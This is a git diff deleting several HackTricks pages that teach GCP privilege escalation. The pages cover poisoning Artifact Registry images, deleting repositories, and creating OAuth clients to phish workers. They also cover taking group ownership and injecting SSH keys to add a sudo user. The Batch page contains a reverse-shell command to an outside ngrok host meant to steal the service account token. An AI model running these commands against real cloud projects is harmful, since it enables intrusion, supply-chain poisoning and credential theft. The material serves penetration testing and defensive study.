-### Create Internal OAuth Application to phish other workers
-
-Check the following page to learn how to do this, although this action belongs to the service **`clientauthconfig`** [according to the docs](https://cloud.google.com/iap/docs/programmatic-oauth-clients#before-you-begin):
-
-{% content-ref url="../../workspace-security/gws-google-platforms-phishing/" %}
-[gws-google-platforms-phishing](../../workspace-security/gws-google-platforms-phishing/)
-{% endcontent-ref %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md b/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md
deleted file mode 100644
index 9d868f485..000000000
--- a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md
+++ /dev/null
@@ -1,210 +0,0 @@
-# GCP - Artifact Registry Privesc
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Artifact Registry
-
-For more information about Artifact Registry check:
-
-{% content-ref url="../gcp-services/gcp-artifact-registry-enum.md" %}
-[gcp-artifact-registry-enum.md](../gcp-services/gcp-artifact-registry-enum.md)
-{% endcontent-ref %}
-
-### artifactregistry.repositories.uploadArtifacts
-
-With this permission an attacker could upload new versions of the artifacts with malicious code like Docker images:
-
-{% code overflow="wrap" %}
-```bash
-# Configure docker to use gcloud to authenticate with Artifact Registry
-gcloud auth configure-docker <location>-docker.pkg.dev
-
-# tag the image to upload it
-docker tag <local-img-name>:<local-tag> <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
-
-# Upload it
-docker push <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
-```
-{% endcode %}
-
-{% hint style="danger" %}
-It was checked that it's **possible to upload a new malicious docker** image with the same name and tag as the one already present, so the **old one will lose the tag** and next time that image with that tag is **downloaded the malicious one** will be downloaded.
-{% endhint %}
-
-<details>
-
-<summary>Upload a Python library</summary>
-
-**Start by creating the library to upload** (if you can download the latest version from the registry you can avoid this step):
-
-1.  **Set up your project structure**:
-
-    * Create a new directory for your library, e.g., `hello_world_library`.
-    * Inside this directory, create another directory with your package name, e.g., `hello_world`.
-    * Inside your package directory, create an `__init__.py` file. This file can be empty or can contain initializations for your package.
-
-    ```bash
-    mkdir hello_world_library
-    cd hello_world_library
-    mkdir hello_world
-    touch hello_world/__init__.py
-    ```
-2.  **Write your library code**:
-
-    * Inside the `hello_world` directory, create a new Python file for your module, e.g., `greet.py`.
-    * Write your "Hello, World!" function:
-
-    ```python
-    # hello_world/greet.py
-    def say_hello():
-        return "Hello, World!"
-    ```
-3.  **Create a `setup.py` file**:
-
-    * In the root of your `hello_world_library` directory, create a `setup.py` file.
-    * This file contains metadata about your library and tells Python how to install it.
-
-    ```python
-    # setup.py
-    from setuptools import setup, find_packages
-
-    setup(
-        name='hello_world',
-        version='0.1',
-        packages=find_packages(),
-        install_requires=[
-            # Any dependencies your library needs
-        ],
-    )
-    ```
-
-**Now, lets upload the library:**
-
-1.  **Build your package**:
-
-    * From the root of your `hello_world_library` directory, run:
-
-    ```sh
-    python3 setup.py sdist bdist_wheel
-    ```
-2. **Configure authentication for twine** (used to upload your package):
-   * Ensure you have `twine` installed (`pip install twine`).
-   * Use `gcloud` to configure credentials:
-
-{% code overflow="wrap" %}
-````
-```sh
-twine upload --username 'oauth2accesstoken' --password "$(gcloud auth print-access-token)" --repository-url https://<location>-python.pkg.dev/<project-id>/<repo-name>/ dist/*
-```
-````
-{% endcode %}
-
-3. **Clean the build**
-
-```bash
-rm -rf dist build hello_world.egg-info
-```
-
-</details>
-
-{% hint style="danger" %}
-It's not possible to upload a python library with the same version as the one already present, but it's possible to upload **greater versions** (or add an extra **`.0` at the end** of the version if that works -not in python though-), or to **delete the last version an upload a new one with** (needed `artifactregistry.versions.delete)`**:**
-
-{% code overflow="wrap" %}
-```sh
-gcloud artifacts versions delete <version> --repository=<repo-name> --location=<location> --package=<lib-name>
-```
-{% endcode %}
-{% endhint %}
-
-### `artifactregistry.repositories.downloadArtifacts`
-
-With this permission you can **download artifacts** and search for **sensitive information** and **vulnerabilities**.
-
-Download a **Docker** image:
-
-```sh
-# Configure docker to use gcloud to authenticate with Artifact Registry
-gcloud auth configure-docker <location>-docker.pkg.dev
-
-# Dowload image
-docker pull <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
-```
-
-Download a **python** library:
-
-{% code overflow="wrap" %}
-```bash
-pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth print-access-token)@<location>-python.pkg.dev/<project-id>/<repo-name>/simple/" --trusted-host <location>-python.pkg.dev --no-cache-dir
-```
-{% endcode %}
-
-* What happens if a remote and a standard registries are mixed in a virtual one and a package exists in both? Check this page:
-
-{% content-ref url="../gcp-persistence/gcp-artifact-registry-persistence.md" %}
-[gcp-artifact-registry-persistence.md](../gcp-persistence/gcp-artifact-registry-persistence.md)
-{% endcontent-ref %}
-
-### `artifactregistry.tags.delete`, `artifactregistry.versions.delete`, `artifactregistry.packages.delete`, (`artifactregistry.repositories.get`, `artifactregistry.tags.get`, `artifactregistry.tags.list`)
-
-Delete artifacts from the registry, like docker images:
-
-{% code overflow="wrap" %}
-```bash
-# Delete a docker image
-gcloud artifacts docker images delete <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
-```
-{% endcode %}
-
-### `artifactregistry.repositories.delete`
-
-Detele a full repository (even if it has content):
-
-{% code overflow="wrap" %}
-```
-gcloud artifacts repositories delete <repo-name> --location=<location>
-```
-{% endcode %}
-
-### `artifactregistry.repositories.setIamPolicy`
-
-An attacker with this permission could give himself permissions to perform some of the previously mentioned repository attacks.
-
-### Pivoting to other Services through Artifact Registry Read & Write
-
-* **Cloud Functions**
-
-When a Cloud Function is created a new docker image is pushed to the Artifact Registry of the project. I tried to modify the image with a new one, and even delete the current image (and the `cache` image) and nothing changed, the cloud function continue working. Therefore, maybe it **might be possible to abuse a Race Condition attack** like with the bucket to change the docker container that will be run but **just modifying the stored image isn't possible to compromise the Cloud Function**.
-
-* **App Engine**
-
-Even though App Engine creates docker images inside Artifact Registry. It was tested that **even if you modify the image inside this service** and removes the App Engine instance (so a new one is deployed) the **code executed doesn't change**.\
-It might be possible that performing a **Race Condition attack like with the buckets it might be possible to overwrite the executed code**, but this wasn't tested.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-batch-privesc.md b/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-batch-privesc.md
deleted file mode 100644
index 7f41fa8b8..000000000
--- a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-batch-privesc.md
+++ /dev/null
@@ -1,84 +0,0 @@
-# GCP - Batch Privesc
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Batch
-
-Basic information:
-
-{% content-ref url="../gcp-services/gcp-batch-enum.md" %}
-[gcp-batch-enum.md](../gcp-services/gcp-batch-enum.md)
-{% endcontent-ref %}
-
-### `batch.jobs.create`, `iam.serviceAccounts.actAs`
-
-It's possible to create a batch job, get a reverse shell and exfiltrate the metadata token of the SA (compute SA by default).
-
-```bash
-gcloud beta batch jobs submit job-lxo3b2ub --location us-east1 --config - <<EOD
-{
-  "name": "projects/gcp-labs-35jfenjy/locations/us-central1/jobs/job-lxo3b2ub",
-  "taskGroups": [
-    {
-      "taskCount": "1",
-      "parallelism": "1",
-      "taskSpec": {
-        "computeResource": {
-          "cpuMilli": "1000",
-          "memoryMib": "512"
-        },
-        "runnables": [
-          {
-            "script": {
-              "text": "/bin/bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/10396 0>&1'\n"
-            }
-          }
-        ],
-        "volumes": []
-      }
-    }
-  ],
-  "allocationPolicy": {
-    "instances": [
-      {
-        "policy": {
-          "provisioningModel": "STANDARD",
-          "machineType": "e2-micro"
-        }
-      }
-    ]
-  },
-  "logsPolicy": {
-    "destination": "CLOUD_LOGGING"
-  }
-}
-EOD
-```
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-clientauthconfig-privesc.md b/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-clientauthconfig-privesc.md
deleted file mode 100644
index d8c3facd3..000000000
--- a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-clientauthconfig-privesc.md
+++ /dev/null
@@ -1,54 +0,0 @@
-# GCP - ClientAuthConfig Privesc
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-### Create OAuth Brand and Client
-
-[**According to the docs**](https://cloud.google.com/iap/docs/programmatic-oauth-clients), these are the required permissions:
-
-* `clientauthconfig.brands.list`
-* `clientauthconfig.brands.create`
-* `clientauthconfig.brands.get`
-* `clientauthconfig.clients.create`
-* `clientauthconfig.clients.listWithSecrets`
-* `clientauthconfig.clients.getWithSecret`
-* `clientauthconfig.clients.delete`
-* `clientauthconfig.clients.update`
-
-{% code overflow="wrap" %}
-```bash
-# Create a brand
-gcloud iap oauth-brands list
-gcloud iap oauth-brands create --application_title=APPLICATION_TITLE --support_email=SUPPORT_EMAIL
-# Create a client of the brand
-gcloud iap oauth-clients create projects/PROJECT_NUMBER/brands/BRAND-ID --display_name=NAME
-```
-{% endcode %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudidentity-privesc.md b/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudidentity-privesc.md
deleted file mode 100644
index 3d7d16fef..000000000
--- a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudidentity-privesc.md
+++ /dev/null
@@ -1,64 +0,0 @@
-# GCP - Cloudidentity Privesc
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Cloudidentity
-
-For more information about the cloudidentity service, check this page:
-
-{% content-ref url="../gcp-services/gcp-iam-and-org-policies-enum.md" %}
-[gcp-iam-and-org-policies-enum.md](../gcp-services/gcp-iam-and-org-policies-enum.md)
-{% endcontent-ref %}
-
-### Add yourself to a group
-
-If your user has enough permissions or the group is misconfigured, he might be able to make himself a member of a new group:
-
-{% code overflow="wrap" %}
-```bash
-gcloud identity groups memberships add --group-email <email> --member-email <email> [--roles OWNER]
-# If --roles isn't specified you will get MEMBER
-```
-{% endcode %}
-
-### Modify group membership
-
-If your user has enough permissions or the group is misconfigured, he might be able to make himself OWNER of a group he is a member of:
-
-{% code overflow="wrap" %}
-```bash
-# Check the current membership level
-gcloud identity groups memberships describe --member-email <email> --group-email <email>
-
-# If not OWNER try
-gcloud identity groups memberships modify-membership-roles --group-email <email> --member-email <email> --add-roles=OWNER
-```
-{% endcode %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/gcp-add-custom-ssh-metadata.md b/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/gcp-add-custom-ssh-metadata.md
deleted file mode 100644
index c762f6c84..000000000
--- a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/gcp-add-custom-ssh-metadata.md
+++ /dev/null
@@ -1,115 +0,0 @@
-# GCP - Add Custom SSH Metadata
-
-## GCP - Add Custom SSH Metadata
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-### Modifying the metadata <a href="#modifying-the-metadata" id="modifying-the-metadata"></a>
-
-Metadata modification on an instance could lead to **significant security risks if an attacker gains the necessary permissions**.
-
-#### **Incorporation of SSH Keys into Custom Metadata**
-
-On GCP, **Linux systems** often execute scripts from the [Python Linux Guest Environment for Google Compute Engine](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts). A critical component of this is the [accounts daemon](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts), which is designed to **regularly check** the instance metadata endpoint for **updates to the authorized SSH public keys**.
-
-Therefore, if an attacker can modify custom metadata, he could make the the daemon find a new public key, which will processed and **integrated into the local system**. The key will be added into `~/.ssh/authorized_keys` file of an **existing user or potentially creating a new user with `sudo` privileges**, depending on the key's format. And the attacker will be able to compromise the host.
-
-#### **Add SSH key to existing privileged user**
-
-1. **Examine Existing SSH Keys on the Instance:**
-   *   Execute the command to describe the instance and its metadata to locate existing SSH keys. The relevant section in the output will be under `metadata`, specifically the `ssh-keys` key.
-
-       ```bash
-       gcloud compute instances describe [INSTANCE] --zone [ZONE]
-       ```
-   * Pay attention to the format of the SSH keys: the username precedes the key, separated by a colon.
-2. **Prepare a Text File for SSH Key Metadata:**
-   * Save the details of usernames and their corresponding SSH keys into a text file named `meta.txt`. This is essential for preserving the existing keys while adding new ones.
-3. **Generate a New SSH Key for the Target User (`alice` in this example):**
-   *   Use the `ssh-keygen` command to generate a new SSH key, ensuring that the comment field (`-C`) matches the target username.
-
-       ```bash
-       ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
-       ```
-   * Add the new public key to `meta.txt`, mimicking the format found in the instance's metadata.
-4. **Update the Instance's SSH Key Metadata:**
-   *   Apply the updated SSH key metadata to the instance using the `gcloud compute instances add-metadata` command.
-
-       ```bash
-       gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt
-       ```
-5. **Access the Instance Using the New SSH Key:**
-   *   Connect to the instance with SSH using the new key, accessing the shell in the context of the target user (`alice` in this example).
-
-       ```bash
-       ssh -i ./key alice@localhost
-       sudo id
-       ```
-
-#### **Create a new privileged user and add a SSH key**
-
-If no interesting user is found, it's possible to create a new one which will be given `sudo` privileges:
-
-```bash
-# define the new account username
-NEWUSER="definitelynotahacker"
-
-# create a key
-ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""
-
-# create the input meta file
-NEWKEY="$(cat ./key.pub)"
-echo "$NEWUSER:$NEWKEY" > ./meta.txt
-
-# update the instance metadata
-gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt
-
-# ssh to the new account
-ssh -i ./key "$NEWUSER"@localhost
-```
-
-#### SSH keys at project level <a href="#sshing-around" id="sshing-around"></a>
-
-It's possible to broaden the reach of SSH access to multiple Virtual Machines (VMs) in a cloud environment by **applying SSH keys at the project level**. This approach allows SSH access to any instance within the project that hasn't explicitly blocked project-wide SSH keys. Here's a summarized guide:
-
-1. **Apply SSH Keys at the Project Level:**
-   *   Use the `gcloud compute project-info add-metadata` command to add SSH keys from `meta.txt` to the project's metadata. This action ensures that the SSH keys are recognized across all VMs in the project, unless a VM has the "Block project-wide SSH keys" option enabled.
-
-       ```bash
-       gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
-       ```
-2. **SSH into Instances Using Project-Wide Keys:**
-   * With project-wide SSH keys in place, you can SSH into any instance within the project. Instances that do not block project-wide keys will accept the SSH key, granting access.
-   * A direct method to SSH into an instance is using the `gcloud compute ssh [INSTANCE]` command. This command uses your current username and the SSH keys set at the project level to attempt access.
-
-## References
-
-* [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md b/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md
deleted file mode 100644
index 0599a6328..000000000
--- a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md
+++ /dev/null
@@ -1,118 +0,0 @@
-# GCP - Container Privesc
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## container
-
-### `container.clusters.get`
-
-This permission allows to **gather credentials for the Kubernetes cluster** using something like:
-
-```bash
-gcloud container clusters get-credentials <cluster_name> --zone <zone>
-```
-
-Without extra permissions, the credentials are pretty basic as you can **just list some resource**, but hey are useful to find miss-configurations in the environment.
-
-{% hint style="info" %}
-Note that **kubernetes clusters might be configured to be private**, that will disallow that access to the Kube-API server from the Internet.
-{% endhint %}
-
-If you don't have this permission you can still access the cluster, but you need to **create your own kubectl config file** with the clusters info. A new generated one looks like this:
-
-```yaml
-apiVersion: v1
-clusters:
-- cluster:
